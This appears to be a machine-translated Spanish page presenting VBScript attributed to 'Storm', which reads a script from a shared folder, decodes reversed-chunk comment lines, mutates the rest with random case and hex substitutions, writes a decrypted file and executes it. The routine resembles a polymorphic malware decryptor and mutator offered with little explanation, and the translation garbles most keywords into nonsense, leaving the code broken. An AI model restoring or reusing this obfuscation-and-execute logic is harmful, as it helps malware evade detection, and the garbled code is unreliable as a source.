Código fuente del comando Vbs

¿configuración? ¿F374? =?CreateObject("Objeto del sistema Script.File")

¿Configuración? F8b6? =?F374. open textfile("D:\VM_Shared\706545925.VBS",1)

¿Qué hacer? ¿hasta? F8b6. Atendo Stream

Ccd4? =?Trim(F8b6.Read línea)

¿Si? ¿Izquierda(Ccd4,?1)?=?"'"?entonces

C169? =?A97b(Mid(Ccd4,2,?Len(Ccd4)?-?2),?Right(Ccd4,?1))

Hacer irregular

Afb1? =?Int(8?*?Rnd? ?2)

A4ae? =?"'"?amp? ¿A97b(C169,?Afb1)? ¿amperio? Afb1

Otro

A4ae? =?Ccd4

A4ae? =?Af7c(A4ae)

A4ae? =?Dd72(A4ae)

¿Fin? ¿Y si

Fa6d? =?Fa6d? ¿amperio? ¿C169? ¿amperio? vbCrLf

B056? =?B056? ¿amperio? ¿A4ae? ¿amperio? vbCrLf

C169? =?""

A4ae? =?""

¿Configuración de timbre

? F8b6? =?F374. abra el archivo de texto("D:\VM_Shared\706545925_decrypted.VBS", 2)

F8b6. ¿Escribir? Fa6d

F8b6. Cerrar

¿Configuración? ¿F374? =?¿Nada

ejecutado? Fa6d

¿Función? A97b(Ebe2,?Afb1)

¿Para qué? Eb91? =?1?¿Adónde ir? Len(Ebe2)? ¿paso? Afb1

A97b? =?A97b? ?StrReverse(Mid(Ebe2, Eb91,?Afb1))

Entonces

¿final? Función

¿Función? Dd72(Ebe2)

Irregularizar

¿Para qué? Eb91? =?1?¿Adónde ir? Len(Ebe2)

B2e4? =?Medio(UCase(Ebe2),?Eb91,?1)

Si? ¿Int(Rnd?*?2)? Entonces

B2e4? =?LCase(B2e4)

¿Fin? ¿Y si

Dd72? =?Dd72? ¿amperio? B2e4

Entonces

¿Fin? Función

¿Función? Af7c(Ebe2)

Irregularizar

¿Para qué? Eb91? =?0?¿Adónde ir? 13

Ebe2? =?Reemplazar(UCase(Ebe2),?UCase(Hex(ampHF374??Eb91)),?UCase(Hex(Int(Rnd?*?24000??40960)??Eb91)))

Entonces

¿Af7c? =?Ebe2

¿Fin? Función Este es el código principal de Storm. El código es muy complicado y tiene un efecto de cifrado. No lo arruines con eso.